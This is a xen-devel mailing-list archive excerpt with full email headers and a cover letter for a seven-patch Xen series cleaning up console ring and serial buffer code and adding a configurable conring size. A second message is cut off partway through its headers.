Received: by outflank-mailman (output) from mailman id 1372096.1619487; Tue, 28 Jul 2026 06:51:26 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wobew-00021u-Jo; Tue, 28 Jul 2026 06:51:26 +0000
Received: by outflank-mailman (input) for mailman id 1372096;
 Tue, 28 Jul 2026 06:51:25 +0000
Received: from mx.expurgate.net ([194.145.224.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wobeu-00021m-I7
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 06:51:25 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wobes-005thY-Ir
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 08:51:22 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a685167-5cb7-0a2a0a5109dd-0a2a450a894e-16
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:51:22 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a685168-f2d2-0a2a450a0019-94a3921753c2-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:51:22 +0200
Received: from pps.filterd (m0384718.ppops.net [127.0.0.1])
 by mx0a-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66S3a1x3263188
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:51:20 GMT
Received: from sj2pr03cu001.outbound.protection.outlook.com
 (mail-westusazon11012009.outbound.protection.outlook.com [52.101.43.9])
 by mx0a-00498f03.pphosted.com (PPS) with ESMTPS id 4fpmkg902e-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:51:19 +0000 (GMT)
Received: from SJ0PR05CA0042.namprd05.prod.outlook.com (2603:10b6:a03:33f::17)
 by SJ0PR16MB4045.namprd16.prod.outlook.com (2603:10b6:a03:31a::11)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Tue, 28 Jul
 2026 06:51:17 +0000
Received: from SJ1PEPF00001CDC.namprd05.prod.outlook.com
 (2603:10b6:a03:33f:cafe::1e) by SJ0PR05CA0042.outlook.office365.com
 (2603:10b6:a03:33f::17) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.12 via Frontend Transport; Tue,
 28 Jul 2026 06:51:17 +0000
Received: from mx0a-00498f04.pphosted.com (205.220.161.53) by
 SJ1PEPF00001CDC.mail.protection.outlook.com (10.167.242.4) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.5
 via Frontend Transport; Tue, 28 Jul 2026 06:51:16 +0000
Received: from pps.filterd (m0426318.ppops.net [127.0.0.1])
 by mx0a-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66S3cs3D267517
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:51:16 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-use.ser.proofpoint.com
 [3.215.31.156])
 by mx0a-00498f04.pphosted.com (PPS) with ESMTPS id 4fnbk4jqar-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:51:16 -0400 (EDT)
Received: from localhost ([19.12.76.222]) by cmsmtp with ESMTPSA
 id obejwzxGhVWzXobekwjDQw; Tue, 28 Jul 2026 06:51:15 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:Message-ID:MIME-Version:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:Message-ID:MIME-Version:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:Message-ID:MIME-Version:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:message-id
	:mime-version:subject:to; s=ppford; bh=GPBocsKxtAOpdEroq7ji4xJW8
	PUHMW0FIoJU5tPH13Q=; b=j5t5b1SBpEyGpJ56u5KKhMvZNRUfmirbDTzpi2yu6
	vTqgacQ5S1y2K++OuoLQXrwQxFSSKhlUWj7XM36jnpnXceWDnNTTTw3M5LTXLNeE
	J5Q9i/+zSPnGj5or4Z4b0xuRXfyyzLOlDWwWAlLm/3zPctnQuO/UEZFlFZH+mGKs
	Ftl8wzJd4L79p2eGHc4TQQi1X/QsVppeVbmtjOO+tDwurCGLHfBFXGlUdY48CTSW
	WBRXYAQ8Z1NYVO12iUZ2c3HhXi+shtVqBPYNivMLtLHcKfzWpUdVxma6GbwAIB8v
	gAIEOScGewgQvvwZTCQdU8RcNaNH954I5eNI70P9BzqxQ==
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=R2vsnjebMu+yTuKiFx+49TLJkCSE0t7OVk15tHnkM2m+fH9VvUoJymBHKcF9kBaPR3k9o59QS8s3k29R/srDUw5gdsf4BqgSHLG3DI2XvSuqd/jWYpUzSay9uAcjE7acPsAYgLibmVGlQ9qRHQWiaZ1APmfZu9EE3+DZyexZ8Q9kAv0HMoTpObnnr6dd6AR47R4ndj7NLPrKBcv1cLHM2eIuwzY+4oj86sF464rHjBO/YsIJWte0xSSdqNR0TVjQnJNTISM7alHYxZ2/hRTr0nZkaSj1sdPMxk09EUrerzroWdgM06sz07Ol/+LUMThJRgLMRxbwQmMcEBZD8xrjkA==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=GPBocsKxtAOpdEroq7ji4xJW8PUHMW0FIoJU5tPH13Q=;
 b=t6W08ocfgGXzs+Qzlo6N40XjSHrLoCZW8KYq3onl+rr+Zg3DMBXwIeUV5CBeORzcg+QqKr87d0Q6iRq55OnUgq6JEYi5rnfPy6uH02cwzys8ttY8o44oaBjgXbHp1/gwp63FVoF1pNfzToZy5TG9hQHQ6jDbYxTcBRWZv6XECag0+0TnP0DUTAygVA/iJ1wEd/GDqSK+CU1DgAvCNTJ6M2eJ+c/VqxN8ZzaAXcCmFOIWY2K161eV8Cp9HZ8fA/1t9qAYV0AqgR3cGPFtPJVEPHXwe3yRL8dXzfkOqAsf4FtFcUM/il3HWGxsoWZfXYcVkw47lOxKKuwl7LvHkismHA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass (sender ip is
 205.220.161.53) smtp.rcpttodomain=lists.xenproject.org
 smtp.mailfrom=ford.com; dmarc=pass (p=reject sp=reject pct=100) action=none
 header.from=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com; dkim=pass (signature was verified)
 header.d=ford.com; arc=none (0)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
 d=azureford.onmicrosoft.com; s=selector2-azureford-onmicrosoft-com;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=GPBocsKxtAOpdEroq7ji4xJW8PUHMW0FIoJU5tPH13Q=;
 b=f/E5DAct+gOViDgRzAIB/UnBp51EEjbkaYUBMD06zlLU+cfm9MOvcmHiVoK/LdijClindQPFMDaXhupXdO8hvTunLSEzjrzkvQhzqgFDJkXY/8L4owwtnAySj9Uvg8DosMy39doAVrNn9Z0w8dZVKD1ouZ9BkhKQ9F94Jeiewa8=
X-MS-Exchange-Authentication-Results: spf=pass (sender IP is 205.220.161.53)
 smtp.mailfrom=ford.com; dkim=pass (signature was verified)
 header.d=saarlouis.ford.com;dkim=pass (signature was verified)
 header.d=ford.com;dmarc=pass action=none header.from=ford.com;
Received-SPF: Pass (protection.outlook.com: domain of ford.com designates
 205.220.161.53 as permitted sender) receiver=protection.outlook.com;
 client-ip=205.220.161.53; helo=mx0a-00498f04.pphosted.com; pr=C
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=
	saarlouis.ford.com; h=cc:content-transfer-encoding:date:from
	:message-id:mime-version:subject:to; s=ppserprodsaar; bh=GPBocsK
	xtAOpdEroq7ji4xJW8PUHMW0FIoJU5tPH13Q=; b=XtZet9ZaUEMG4DnuDYZaW4k
	SgqKkTPHuZ6iXjltLvIYXr+/72Wwrd414Ki/awSvxbEeL7ks76MPgX/dntbI22OA
	poOzxhSeoraBAcNOLZSjj9GdZqa6lsmqdQi02dQPN60tP7caMzJlmwxoS/DJ3NzE
	U/+tsNI1vEice6Guzso14+mx0WCvkvBgOJBvwEILEiojz9OlcCdQusBLSsGEWeGI
	JLwkKgojVfi35cUkEZxg8u1V+8tMD7eudOsEp20QHJcPBSJu0ZAzKmtIvfQnzFpL
	SQf+83q00AouMiBt0I40NMDiXwLHsr0RTRjTiv/qwk4EwgbRclNx1QfPkb3t7sQ=
	=
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:date:from:message-id:mime-version
	:subject:to; s=ppfserpocford; bh=GPBocsKxtAOpdEroq7ji4xJW8PUHMW0
	FIoJU5tPH13Q=; b=d4+X2EupitbBxqOap1GZcSlfAvAuVA7aMt+IMDhEizUBbi4
	RmhuNHHeoeAI00N1ud8Qm32/vWw88D8oV2USc64uCwloNTbFdnrStb2xbEL4vqi6
	T5UUATO+dlmZ3ZLaWMZnXNdHxhof6lzv9fvZ0WqZJHDpwB3OUaFd3zIhgVzOzwcB
	RmsDyuQ2Jx4fI/3sgfAHbUm3nGMyOTzzi3g91u4zrXMBPAqHYqdkKiBy4gPYcb/8
	Pl5w52oPSg6nCebeSla2EjHX9OXE0Qs16VY/GYkgFDBMYQpMqMEWldDy1Lxq3M/D
	z3L2ckwY+8BxEh6uhwytIKJbPqX1Y0YyJ3ma11A==
X-Mailer: SER-76bead168636dc6ed1c9e51ce4dea80dbdd4163750742b614a4d871e565792b7
X-Cloudmark-MID: obejwzxGhVWzXobekwjDQw
X-Proofpoint-CID: eb09f7eb-2dc2-34ab-a188-7b293c1db1fe
From: dmukhin@ford.com
To: xen-devel@lists.xenproject.org
Cc: andrew.cooper3@citrix.com, anthony.perard@vates.tech, jbeulich@suse.com,
        julien@xen.org, michal.orzel@amd.com, roger.pau@citrix.com,
        sstabellini@kernel.org, dmukhin@ford.com
Subject: [PATCH v8 0/7] xen/console: some cleanups and configurable conring size
Date: Mon, 27 Jul 2026 23:50:42 -0700
Message-ID: <20260728065049.1318143-1-dmukhin@ford.com>
X-Mailer: git-send-email 2.54.0
MIME-Version: 1.0
Content-Transfer-Encoding: 8bit
PSER-M365-App: SER-APP
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_01,2026-07-27_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0
 lowpriorityscore=0 spamscore=0 suspectscore=0 adultscore=0 phishscore=0
 malwarescore=0 bulkscore=0 classifier=typeunknown authscore=0 authtc= authcc=
 route=outbound adjust=0 reason=mlx scancount=1 engine=8.22.0-2606150000
 definitions=main-2607280060
X-EOPAttributedMessage: 0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: SJ1PEPF00001CDC:EE_|SJ0PR16MB4045:EE_
Content-Type: text/plain
X-MS-Office365-Filtering-Correlation-Id: f6129a5a-7abf-4407-083b-08deec749f64
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|36860700016|1800799024|82310400026|376014|11063799006|10067099003|56012099006|6133799003|18002099003|13003099007;
X-Microsoft-Antispam-Message-Info:
	zlzHfvGWum7iRaflvGBTHsycIcDTjjEuSVss7jYlCKTdj0n22G6B5sJDUdUen13fOEugsbtsPUxdDGW+gM97K2lt/kLyfmV+9AcOX1JqXQaP+2UxQmKEnOtW+8H+Qf3R9ln4iRJyVtBYdBW3FJC7qqxSEtnGFzbVRbJ23deIiPI/eUNN/4wHc8A0Vu/OGLIBMn6IiYQWO/xcJHNcRGyirr3RtgzHwnC2cwfIOgHd7CHRbUhth5Rw/KaAMPdJaKG4di0EjRw20hBBWj74iXor71An2PQFvOicoBCpfsBMSKVpnl7V++G6ZT8ai+R9W3GCL2PD5aKA+XJdaPmYz8RROdMLUYD6eIFMAAaK5XyokhNBi/qFCDk/494nfmWWQROCHh3699OHD9attdhKPYN6zvzAeiFhoMVojhynLwyEW1CiUTR6QvKmUzzJ2WoT5kjb+MIfM+H7Ujr4BzpShg7Pa8YQ8/Y0foTCv+UGzLFErR6tA5ePGHuh57JTNkebp97T0Bh51559JofuDnWNXMuSZ30/QJloUkoJl0kW53lpEs2iXXGlfRuJLqzKYVbbNKEYGl5K/iVoXo7oQhfeUJ1eeOwTcTPN1CrfC+V/9jGmesAMPzbfzrNmAawBWthRmTIwCNaKbcN5MvI9J5PcsqYCEEecrRRIkBUMUHLEv4G/eFqocHBZ13zAkGBQqIna22Ie2brafGC9wPD5ZH4j4j3LZQ==
X-Forefront-Antispam-Report:
	CIP:205.220.161.53;CTRY:US;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:mx0a-00498f04.pphosted.com;PTR:mx0a-00498f04.pphosted.com;CAT:NONE;SFS:(13230040)(23010399003)(36860700016)(1800799024)(82310400026)(376014)(11063799006)(10067099003)(56012099006)(6133799003)(18002099003)(13003099007);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	O/CKuXwCjjbQ0KditPnCWEFDMTXxVyGG1p3/DhdrDf/c+bIqKR/TwdBH994W0qMb9lRw65gUUDKx7WUmDllpMDBUzBEXZx8BIMjUbA/3Jmlkh3UHR8P2S6CVFTn7ZqlZiVipb9r6wvzm8UmvB/iaPYk3HalnxOQZ10QZiKYQdDiC4QSfChrKwMREQF1mVJP4k7O0HdvJhriZ5xdO1H94J5/cs2TMpnD4LCzOV6kXQZTgLJjHjd+XcTZ9AMofJ0gHr/go13iLTY78CX/KcHKyBOo0aWta/leo6mzZPdYfRklWZEWyYmdSevXEgoZMksOlT+ztzulQb0YAs/tO2mihvrq94SLA7AIxBgsLOcc9ZG9ZLF+HrpqvpF+5e9gE5/mcak5nGUxAAyYbXzRkhFBd5gsCMt6sL7PXBCOGEgh+7sjAF/l1f1FGJovSDL+cuG6J
X-Exchange-RoutingPolicyChecked:
	j4ZXMWmZ9FVYSZ2etszQ0R1o+8PPc1ZHm98zYy9DWgIBJCtk10+QeK5Qy3Nb7iu1a1A8RuU2FRkxSmj+hDanItiwv5ZjqU/UZC7e1KriT+zzpH6YYJL09oeIB9NxEti1EkGS14uXetNc3M6VELx0fDX9srN61Krv7tU9GN9Slk/RouiGzLJ9LUgEmoDukfVl3xE+qmUnqMgcv07BcyURxWs6gr/2bvNlX+v+/bvdOq6DrPZOqjR+udqyGLdbEl0rK0UDfSPXhbwq6R5VfissiAGD5vhepE6ou5VDHRLiXPRyNZX5Y3+0J1xeD7eoxRa2ai7DY3e0vQlf8GNUC8iVLg==
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-ExternalHop-MessageData-0:
	oxZ4EUoLnPBx5KsaqtVvnXMM77AFwkt/tYO1fBngmOixrXvLNoH8Q1VaSXdLVf4u1oijoCtTq2hLoduEArmF/toni1ByTgz4I8RY514EIh+4HrXbJoXYl9ng4TDqAGMjL+rhUttfxCQmbEtDAUX7bI+Mm9s9Gg+4XhhC9Yl+sBChI1I41X8KfR3/Xy32J5WgY8Chofqw6VG8kraps/GpQUmTCrK02f8GDaKhtWORZ9apUSx4IAXNjTeY3ABv2OPja9z7Go98GzwLZfJtZqqP7qBSfeMrAHZ+PfXf7eqthROeOZbT2Alx/C0oos9MsHzPcIaiFsPapJN8dCOqWs+D68JaEDTFt15ebL07229CE/hlHzJBccQrczTWOP/az3BsEpALdC7JNxlX9rsih4MvneRwP26lElUg35fDvz55m78e/MoA13dggDrDdcBv35ZwuAeWmOHQED0CNlyyHXHmmIh/XiJbAD8+yZ4k9L24BjzbbLew0RhvyDknUq3QnRbCA7wdXqss2Ksmd3vCFAv6cIMoDTumpEP4Mq0VxPwsWs4YCQYJ1L1BNpJB6YaTtvqL2K5AMZUsk7/+X+azCQ2+GjcsKeW+oH+yyMx8LI1a67qIvVTG0AawV0v3r6Rz69LQ+4wyPlgvRgzBXRyf5JTLSg==
X-OriginatorOrg: ford.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 06:51:16.7183
 (UTC)
X-MS-Exchange-CrossTenant-Network-Message-Id: f6129a5a-7abf-4407-083b-08deec749f64
X-MS-Exchange-CrossTenant-Id: c990bb7a-51f4-439b-bd36-9c07fb1041c0
X-MS-Exchange-CrossTenant-OriginalAttributedTenantConnectingIp: TenantId=c990bb7a-51f4-439b-bd36-9c07fb1041c0;Ip=[205.220.161.53];Helo=[mx0a-00498f04.pphosted.com]
X-MS-Exchange-CrossTenant-AuthSource:
	SJ1PEPF00001CDC.namprd05.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Anonymous
X-MS-Exchange-CrossTenant-FromEntityHeader: HybridOnPrem
X-MS-Exchange-Transport-CrossTenantHeadersStamped: SJ0PR16MB4045
X-Proofpoint-ORIG-GUID: 9aSqmu8mWpYUTUN3aULsN0PcTizs3M6T
X-Proofpoint-Spam-Details-Enc: AW1haW4tMjYwNzI4MDA2MCBTYWx0ZWRfXyTV9cG8Ievfp
 oDE2mYb9KSlSlovRLc1BC+t8BzkGngkzou8Uk2FllPgg0cMXqzHId4ssRH16kbJJWDJF6iNKlwx
 6mTbvqiMg0Bs9WPPNG32Ku1a5iyDoGWDgD4glB8X9/sLwLPqQe9+r/6AdwWxNTIQEx8HratGVOe
 dODoIrRd7iGVHtCvSw3NVxlmOE2/KMJMlbjmn1wqPiXPTvJOeTYnKt88tMJlU90oOK02fU3cKoE
 g05Ec7ujiL4kXTLLc7o+blaKpjVsqBBVVh0apIxSqhARRUroCsYpN8HGnjLzReR7vQjPpEudl0H
 C6O4c1yHhj6YmDMUZCCU9OrP5vKUuOe6g6PQGgPVMg8p0G/DIwLzV0jeshGex9prz4PYiO3lQKy
 1amQi1R5QAIF5TE+xwtlCt5idXORSwTUG4Gmybbn5Tebbw1+oZQW/7qXuy1B6IH1EvpS/HzfEDE
 iPcrvQcqLOARxFfaxxA==
X-Authority-Analysis: v=2.4 cv=Vq0Txe2n c=1 sm=1 tr=0 ts=6a685167 cx=c_pps
 a=rl9QZQJB4f+cLtFzzj7oTw==:117 a=lOEMawUel/sSvQipkIvNbg==:17
 a=6eWqkTHjU83fiwn7nKZWdM+Sl24=:19 a=RAioF0-LDSMA:10 a=3PXLN80vpJUA:10
 a=6NUGLSImWEsA:10 a=w9pew1qAHqMA:10 a=VkNPw1HP01LnGYTKEx00:22
 a=P_n1zlmtWsCQbjROFjcg:22 a=ARvDHhclS48edyKYUbLB:22 a=VwQbUJbxAAAA:8
 a=cbNQJ9GKAAAA:8 a=p0WdMEafAAAA:8 a=DbMjhcVk2PN3n7I2qccA:9
 a=G69WFyCBNqGPyalROSdv:22
X-Proofpoint-GUID: 9aSqmu8mWpYUTUN3aULsN0PcTizs3M6T
X-Proofpoint-Spam-Info: AW1haW4tMjYwNzI4MDA2MCBTYWx0ZWRfX6yb+eLnehzcQ
 1Ke8phVsEnH2COuYF597GPQenKaTF+BzeEJoK6013s1jnqYgjOIrVXAQfwjoEkhwYC5NfhdeQc4
 QIPNx50kq4nNpi4cTsBAorKy0+GzNiblyOWXSuxvCRM3yP1EgaBW
X-Proofpoint-Virus-Version: vendor=baseguard
 engine=ICAP:2.0.293,Aquarius:18.0.1143,Hydra:6.1.134,FMLib:17.12.100.49
 definitions=2026-07-28_01,2026-07-27_01,2025-10-01_01
X-Proofpoint-Spam-Details: rule=notspam policy=default score=0 suspectscore=0
 bulkscore=0 clxscore=1015 spamscore=0 impostorscore=0 priorityscore=1501
 lowpriorityscore=0 adultscore=0 phishscore=0 malwarescore=0
 classifier=typeunknown authscore=0 authtc= authcc= route=outbound adjust=0
 reason=mlx scancount=1 engine=8.22.0-2606150000 definitions=main-2607280060
X-purgate-ID: tlsNG-4011c0/1785221482-50ACCCFC-0AC13541/0/0
X-purgate-type: clean
X-purgate-size: 1438

Series introduces some cleanups in console conring and serial
driver buffer management code ending up with adding compile-time
configuration knob for conring size.

Patch 1-2 correct the data types used in conring management code.

Patch 3 updates the conring buffer allocation code.

Patch 4 updates the serial driver buffer allocation code.

Patch 5 optimizes code in conring_puts().

Patch 6 hardens the checks in the serial driver buffer management code.

Patch 7 introduces CONRING_CONRING_SHIFT to select compile-time
conring buffer size.

[1] v7: https://lore.kernel.org/xen-devel/20260713181619.672176-1-dmukhin@ford.com/
[2] CI: https://gitlab.com/xen-project/people/dmukhin/xen/-/pipelines/2710713367

Denis Mukhin (7):
  xen/console: do not use XENCONS_RING_IDX in console_init_ring()
  xen/console: use 'unsigned int' in contring_{flush,puts}()
  xen/console: switch conring runtime allocation to xvmalloc
  xen/serial: switch txbuf runtime allocation to xvmalloc
  xen/console: use memcpy() in conring_puts()
  xen/serial: harden serial_tx_buffer checks
  xen/console: make console buffer size configurable

 docs/misc/xen-command-line.pandoc | 10 ++++-
 xen/drivers/char/Kconfig          | 21 +++++++++++
 xen/drivers/char/console.c        | 61 +++++++++++++++++++++----------
 xen/drivers/char/serial.c         |  6 ++-
 4 files changed, 75 insertions(+), 23 deletions(-)

-- 
2.54.0



From xen-devel-bounces@lists.xenproject.org Tue Jul 28 06:51:38 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 06:51:38 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372101.1619531 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wobf8-0003BO-Ag; Tue, 28 Jul 2026 06:51:38 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372101.1619531; Tue, 28 Jul 2026 06:51:38 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wobf8-0003B9-7n; Tue, 28 Jul 2026 06:51:38 +0000
Received: by outflank-mailman (input) for mailman id 1372101;
 Tue, 28 Jul 2026 06:51:36 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <dmukhin@ford.com>) id 1wobf6-00038Y-Nk
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 06:51:36 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wobf6-003NGo-3o
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 08:51:36 +0200
Received: from [10.42.69.10] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a685170-e002-0a2a0a5209dd-0a2a450aadac-28
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:51:36 +0200
Received: from [148.163.146.23] (helo=mx0a-00498f03.pphosted.com)
 by tlsNG-4011c0.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <dmukhin@ford.com>)
 id 6a685175-f2d2-0a2a450a0019-94a39217ce32-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 08:51:35 +0200
Received: from pps.filterd (m0367126.ppops.net [127.0.0.1])
 by mx0a-00498f03.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66S3ZpDi331091
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:51:33 GMT
Received: from ch5pr02cu005.outbound.protection.outlook.com
 (mail-northcentralusazon11012050.outbound.protection.outlook.com
 [40.107.200.50])
 by mx0a-00498f03.pphosted.com (PPS) with ESMTPS id 4fpf2uuaa7-1
 (version=TLSv1.3 cipher=TLS_AES_256_GCM_SHA384 bits=256 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 06:51:33 +0000 (GMT)
Received: from DS3P220CA0013.NAMP220.PROD.OUTLOOK.COM (2603:10b6:8:45f::13) by
 DS1PR16MB6596.namprd16.prod.outlook.com (2603:10b6:8:1e4::6) with
 Microsoft
 SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id
 15.21.270.12; Tue, 28 Jul 2026 06:51:30 +0000
Received: from DS2PEPF000061C1.namprd02.prod.outlook.com
 (2603:10b6:8:45f:cafe::1f) by DS3P220CA0013.outlook.office365.com
 (2603:10b6:8:45f::13) with Microsoft SMTP Server (version=TLS1_3,
 cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.12 via Frontend Transport; Tue,
 28 Jul 2026 06:51:30 +0000
Received: from mx0a-00498f04.pphosted.com (205.220.161.53) by
 DS2PEPF000061C1.mail.protection.outlook.com (10.167.23.68) with Microsoft
 SMTP Server (version=TLS1_3, cipher=TLS_AES_256_GCM_SHA384) id 15.21.270.5
 via Frontend Transport; Tue, 28 Jul 2026 06:51:29 +0000
Received: from pps.filterd (m0373460.ppops.net [127.0.0.1])
 by mx0a-00498f04.pphosted.com (8.18.1.11/8.18.1.11) with ESMTP id
 66S3cDMn2945260
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:51:29 -0400
Received: from smtp-us.ser.proofpoint.com (pmta-usw.ser.proofpoint.com
 [34.209.42.160])
 by mx0a-00498f04.pphosted.com (PPS) with ESMTPS id 4fne0y2kh5-1
 (version=TLSv1.3 cipher=TLS_AES_128_GCM_SHA256 bits=128 verify=NOT)
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 02:51:28 -0400 (EDT)
Received: from localhost ([19.12.76.221]) by cmsmtp with ESMTPSA
 id obewwrUDbAJcNobewwBr4V; Tue, 28 Jul 2026 06:51:28 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=ppford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Content-Type:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=selector2-azureford-onmicrosoft-com header.d=azureford.onmicrosoft.com header.i="@azureford.onmicrosoft.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"; dkim=pass header.s=ppserprodsaar header.d=saarlouis.ford.com header.i="@saarlouis.ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"; dkim=pass header.s=ppfserpocford header.d=ford.com header.i="@ford.com" header.h="Cc:Content-Transfer-Encoding:Date:From:In-Reply-To:Message-ID:MIME-Version:References:Subject:To"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=ford.com; h=cc
	:content-transfer-encoding:content-type:date:from:in-reply-to
